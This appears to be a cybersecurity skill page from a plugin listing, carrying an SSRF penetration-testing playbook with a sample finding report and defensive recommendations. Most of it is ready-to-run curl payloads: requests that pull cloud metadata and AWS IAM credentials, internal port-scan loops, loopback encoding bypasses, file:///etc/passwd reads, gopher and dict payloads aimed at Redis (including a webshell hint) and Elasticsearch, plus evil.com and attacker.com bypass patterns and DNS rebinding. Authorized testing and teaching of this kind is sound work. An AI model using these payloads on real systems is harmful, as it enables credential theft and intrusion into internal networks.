npx claudepluginhub mukul975/anthropic-cybersecurity-skills --plugin cybersecurity-skillsThis skill uses the workspace's default tool permissions.
- During authorized penetration tests when the application fetches URLs provided by users (webhooks, URL previews, file imports)
Applies Acme Corporation brand guidelines including colors, fonts, layouts, and messaging to generated PowerPoint, Excel, and PDF documents.
Builds DCF models with sensitivity analysis, Monte Carlo simulations, and scenario planning for investment valuation and risk assessment.
Calculates profitability (ROE, margins), liquidity (current ratio), leverage, efficiency, and valuation (P/E, EV/EBITDA) ratios from financial statements in CSV, JSON, text, or Excel for investment analysis.
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest)git clone https://github.com/swisskyrepo/SSRFmap.git)Map all application features that make server-side HTTP requests.
# Common SSRF-prone features:
# - URL preview/unfurling (Slack-like link previews)
# - Webhook configuration endpoints
# - File import from URL (import CSV from URL)
# - PDF/screenshot generation from URL
# - Image/avatar fetching from URL
# - RSS/feed aggregation
# - OAuth callback URLs
# - API proxy/gateway features
# Test a URL parameter with Burp Collaborator
# Replace URL values with Collaborator payload
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"url":"http://abc123.burpcollaborator.net/ssrf-test"}' \
"https://target.example.com/api/fetch-url"
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"webhook_url":"http://abc123.oast.fun/webhook"}' \
"https://target.example.com/api/webhooks"
# Test URL in various parameter names
for param in url uri link href src dest redirect callback webhook \
image_url avatar_url feed_url import_url proxy_url; do
echo "Testing param: $param"
curl -s -o /dev/null -w "%{http_code}" \
"https://target.example.com/api/fetch?${param}=http://abc123.oast.fun/${param}"
done
Test SSRF payloads targeting cloud provider metadata services.
# AWS EC2 Metadata (IMDSv1)
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
"https://target.example.com/api/fetch-url"
# AWS - Get IAM role credentials
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
"https://target.example.com/api/fetch-url"
# GCP Metadata
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://metadata.google.internal/computeMetadata/v1/"}' \
"https://target.example.com/api/fetch-url"
# Azure Metadata
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/metadata/instance?api-version=2021-02-01"}' \
"https://target.example.com/api/fetch-url"
# DigitalOcean Metadata
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/metadata/v1/"}' \
"https://target.example.com/api/fetch-url"
Use the SSRF vulnerability to discover internal services and ports.
# Internal network scanning - common private ranges
for ip in 127.0.0.1 10.0.0.1 172.16.0.1 192.168.1.1; do
for port in 22 80 443 3000 3306 5432 6379 8080 8443 9200 27017; do
echo -n "$ip:$port -> "
response=$(curl -s --max-time 3 -X POST \
-H "Content-Type: application/json" \
-d "{\"url\":\"http://$ip:$port/\"}" \
"https://target.example.com/api/fetch-url")
echo "$response" | head -c 100
echo
done
done
# Kubernetes internal services
for svc in kubernetes.default.svc \
kubernetes-dashboard.kubernetes-dashboard.svc \
kube-dns.kube-system.svc; do
curl -s --max-time 3 -X POST \
-H "Content-Type: application/json" \
-d "{\"url\":\"http://$svc/\"}" \
"https://target.example.com/api/fetch-url"
done
# Access internal admin panels
for path in /admin /console /actuator/env /server-status /_cat/indices; do
curl -s -X POST \
-H "Content-Type: application/json" \
-d "{\"url\":\"http://127.0.0.1:8080$path\"}" \
"https://target.example.com/api/fetch-url"
done
When basic payloads are blocked, use bypass techniques.
# IP address encoding bypasses for 127.0.0.1
PAYLOADS=(
"http://127.0.0.1/"
"http://0177.0.0.1/" # Octal
"http://0x7f.0.0.1/" # Hex
"http://2130706433/" # Decimal
"http://127.1/" # Short form
"http://0/" # Zero
"http://[::1]/" # IPv6 loopback
"http://0.0.0.0/" # All interfaces
"http://localtest.me/" # DNS resolves to 127.0.0.1
"http://spoofed.burpcollaborator.net/" # DNS rebinding
"http://127.0.0.1.nip.io/" # Wildcard DNS
)
for payload in "${PAYLOADS[@]}"; do
echo -n "$payload -> "
curl -s -o /dev/null -w "%{http_code}" --max-time 3 \
-X POST -H "Content-Type: application/json" \
-d "{\"url\":\"$payload\"}" \
"https://target.example.com/api/fetch-url"
echo
done
# URL parsing bypass
# Embed credentials: http://expected.com@evil.com/
# Fragment: http://evil.com#expected.com
# URL encoding: http://127.0.0.%31/
# Redirect chain: http://attacker.com/redirect?url=http://127.0.0.1
# Protocol bypass
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"file:///etc/passwd"}' \
"https://target.example.com/api/fetch-url"
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"gopher://127.0.0.1:6379/_SET%20ssrf%20test"}' \
"https://target.example.com/api/fetch-url"
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"dict://127.0.0.1:6379/info"}' \
"https://target.example.com/api/fetch-url"
Chain SSRF with internal services for maximum impact.
# Access Redis via gopher protocol
# Craft gopher payload to set a webshell via Redis
# gopher://127.0.0.1:6379/_CONFIG SET dir /var/www/html
# This is for authorized testing only
# Access Elasticsearch
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:9200/_cat/indices?v"}' \
"https://target.example.com/api/fetch-url"
# Read data from Elasticsearch
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:9200/users/_search?size=10"}' \
"https://target.example.com/api/fetch-url"
# Access internal Jenkins
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:8080/script"}' \
"https://target.example.com/api/fetch-url"
# AWS: Retrieve temporary credentials from IAM role
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"}' \
"https://target.example.com/api/fetch-url"
# Returns: AccessKeyId, SecretAccessKey, Token
For cases where the response is not returned to the attacker.
# Blind SSRF detection using time-based analysis
# Compare response times for accessible vs inaccessible ports
time curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:22/"}' \
"https://target.example.com/api/fetch-url"
time curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:12345/"}' \
"https://target.example.com/api/fetch-url"
# DNS rebinding attack
# 1. Set up a DNS server that alternates between:
# - First query: returns attacker IP (passes allowlist)
# - Second query: returns 127.0.0.1 (targets internal service)
# 2. Use a rebinding service like rbndr.us
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://7f000001.c0a80001.rbndr.us/"}' \
"https://target.example.com/api/fetch-url"
# rbndr.us alternates DNS responses between the two encoded IPs
| Concept | Description |
|---|---|
| SSRF | Server-Side Request Forgery - making the server send requests to unintended destinations |
| Blind SSRF | SSRF where the response is not returned to the attacker, requiring OOB detection |
| Cloud Metadata | Instance metadata services (169.254.169.254) exposing credentials and configuration |
| Gopher Protocol | Protocol allowing raw TCP data transmission, enabling attacks on internal services |
| DNS Rebinding | DNS attack that switches IP resolution to bypass SSRF hostname allowlists |
| TOCTOU | Time-of-check to time-of-use race condition in URL validation |
| IMDSv2 | AWS metadata service v2 requiring session tokens, mitigating basic SSRF |
| Open Redirect Chain | Using an open redirect to bypass URL allowlists in SSRF filters |
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Request modification and Collaborator for blind SSRF detection |
| SSRFmap | Automated SSRF exploitation framework with protocol support |
| interactsh | Out-of-band interaction detection for blind SSRF |
| Gopherus | Generates gopher payloads for exploiting internal services |
| rbndr.us | DNS rebinding service for SSRF filter bypass |
| singularity | DNS rebinding attack framework for automated exploitation |
A webhook configuration endpoint allows specifying a callback URL. Pointing it to http://169.254.169.254/latest/meta-data/iam/security-credentials/ returns temporary AWS IAM credentials that can be used to access S3 buckets and other AWS services.
A feature that generates PDFs from URLs makes server-side requests. Providing http://127.0.0.1:8080/admin as the URL generates a PDF containing the internal admin panel content.
An avatar URL field is filtered for HTTP/HTTPS but accepts file:// protocol. Using file:///etc/passwd as the avatar URL causes the server to read local files and include content in the response.
A URL fetch feature does not return response content but confirms success/failure. Using gopher protocol payloads, an attacker writes data to an internal Redis instance, achieving remote code execution.
## SSRF Vulnerability Finding
**Vulnerability**: Server-Side Request Forgery (Full SSRF)
**Severity**: Critical (CVSS 9.1)
**Location**: POST /api/webhooks - `callback_url` parameter
**OWASP Category**: A10:2021 - Server-Side Request Forgery
### Reproduction Steps
1. Send POST /api/webhooks with callback_url set to http://169.254.169.254/latest/meta-data/
2. Server makes request to AWS metadata endpoint
3. Response contains AWS instance metadata including IAM role name
4. Follow up with IAM credentials endpoint to retrieve temporary access keys
### Confirmed Access
| Target | Protocol | Response |
|--------|----------|----------|
| 169.254.169.254 (AWS metadata) | HTTP | IAM credentials retrieved |
| 127.0.0.1:6379 (Redis) | Gopher | Commands executed |
| 127.0.0.1:9200 (Elasticsearch) | HTTP | Index listing retrieved |
| 10.0.0.5:8080 (Internal API) | HTTP | Admin panel accessible |
### Impact
- AWS IAM temporary credentials exfiltrated (S3 read/write access)
- Internal Redis server accessible (potential RCE)
- Internal Elasticsearch data exposed (user records)
- Full internal network scanning capability
### Recommendation
1. Implement strict URL allowlisting (only allow known trusted domains)
2. Block requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16)
3. Upgrade to AWS IMDSv2 (requires session token header)
4. Disable unused URL protocols (gopher, file, dict, ftp)
5. Use a dedicated outbound proxy for server-side requests with DNS resolution controls